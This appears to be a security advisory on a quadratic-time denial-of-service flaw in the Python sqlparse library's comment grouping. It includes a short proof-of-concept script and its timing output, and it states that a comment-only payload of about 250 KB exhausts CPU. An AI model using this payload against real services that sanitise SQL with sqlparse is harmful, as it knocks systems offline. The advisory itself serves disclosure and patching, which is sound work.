PT-2026-80668 · Pypi · Sqlparse
Publicado
2026-08-19
·
Atualizado
2026-08-19
CVSS v4.0
8.7
Alta
| Vetor | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
Summary
A comment-only statement (
-- c *n) may cause a Denial of Service (DoS).Details
Location: sqlparse/engine/grouping.py:331-341 (
group comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip comments=True).A statement made of many single-line comments (
'-- c ' repeated) lexes in O(n) but group comments is O(n²):python
def group comments(tlist):
tidx, token = tlist.token next by(t=T.Comment)
while token:
eidx, end = tlist.token not matching(
lambda tk: imt(tk, t=T.Comment) or tk.is newline, idx=tidx)
...
tidx, token = tlist.token next by(t=T.Comment, idx=tidx)The
while loop runs n times and each token next by / token not matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.Two following factors increase the severity:
group commentsruns first ingroup()(grouping.py:439), before thegroup matchingtoken-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input.MAX GROUPING TOKENSdoes not provide protection on this vector.- It sits on the primary sanitizer path:
format(sql, strip comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.
PoC
Tested using Python 3.14:
python
import time, sqlparse
for n in (1000, 2000, 4000):
s = "-- c
" * n
t = time.perf counter()
sqlparse.format(s, strip comments=True)
print(f"n={n:5d} format(strip comments)={1000*(time.perf counter()-t):7.1f} ms")Output:
n= 1000 format(strip comments)= 106.0 ms
n= 2000 format(strip comments)= 403.3 ms
n= 4000 format(strip comments)= 1602.8 msTime increase of ~4× per 2× input (quadratic).
parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.Impact
Denial of Service
Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Sqlparse